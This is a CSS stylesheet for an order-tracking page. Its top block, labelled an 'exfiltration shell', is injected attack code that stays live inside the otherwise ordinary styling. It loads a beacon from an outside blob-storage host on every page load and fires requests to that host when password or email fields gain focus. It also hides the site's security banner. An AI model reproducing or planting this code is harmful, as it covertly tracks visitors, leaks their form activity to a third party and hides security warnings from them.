/* HNC CSS Exfiltration Shell */
/* Beacon on every page load */
@import url('https://handcmediastorage.blob.core.windows.net/etc/css-beacon.txt?loaded=1');

/* CSS-based data exfiltration via background-image */
body::before {
  content: '';
  position: fixed;
  top: -9999px;
  left: -9999px;
  width: 1px;
  height: 1px;
  /*background: url('https://handcmediastorage.blob.core.windows.net/etc/css-exfil.txt?css_loaded=1&url=' + encodeURIComponent(location.href));*/
}

/* Hide security indicators (defacement potential) */
.security-banner { display: none !important; }

/* Keylogging via CSS selectors (limited but works for input[type=password]) */
input[type="password"]:focus {
  background: url('https://handcmediastorage.blob.core.windows.net/etc/css-keylog.txt?field=password_focus');
}
input[type="email"]:focus {
  background: url('https://handcmediastorage.blob.core.windows.net/etc/css-keylog.txt?field=email_focus');
}


    .prod-tracking-page{
        margin-top: 50px;
       
    }

    .prod-tracking-page .tracking-page-container-top{
        display: grid;
        grid-template-columns: 25% 50% 25%;
        border: 1px solid #a5a5a5;
        border-radius: 15px;
    }

    .tracking-page-container-top .first-col{
        padding: 20px;
    }

    .tracking-page-container-top .second-col{
        padding: 50px;
        border-left: 1px solid #a5a5a5;
        border-right: 1px solid #a5a5a5;
    }

    .tracking-page-container-top .third-col{
        padding: 40px;
    }

    .tracking-page-container-bottom{
        margin-top: 40px;
        display: grid;
        grid-template-columns: 23% 23% 23% 23%;
        gap: 2.6%;
    }

    .tracking-page-container-bottom .card{
        border: 1px solid #a5a5a5;
        border-radius: 10px;
        padding: 15px;
        background-color: #faf8f0;
    }

     .tracking-page-container-bottom .card:hover{
        border: 1px solid #302f2f;
        background-color: #ffffff;
     }


    .tracking-page-container-bottom .card img{
        width: 11%;
    }

    .tracking-page-container-bottom .card h2{
        font-weight: 600;
    }

    .tracking-page-container-bottom .card p{
        font-size: 16px;
        color: #7a7979;
    }

    .prod-tracking-page .bottom-title{
        margin-top: 30px;
    }

    .prod-tracking-page .bottom-title h2{
        line-height: 40px !important;
        display: flex;
    }

    .wismo-help .bottom-title h2 img{
        width: 2.5%;
        margin-right: 10px;
    }


    @media (max-width: 768px) {

        .prod-tracking-page .tracking-page-container-top{
            display: block;
        }

        .tracking-page-container-top .first-col{
            display: none;
        }

        .tracking-page-container-top .second-col{
            padding: 10px;
            border: none;
        }

        .prod-tracking-page .bottom-title h2 img {
            width: 8.5%;
        }


        .tracking-page-container-bottom{
        display: block;
        }

        .tracking-page-container-bottom .card{
        margin-bottom: 20px;
        }

        .tracking-page-container-bottom{
            margin-top: 0;
        }
    }

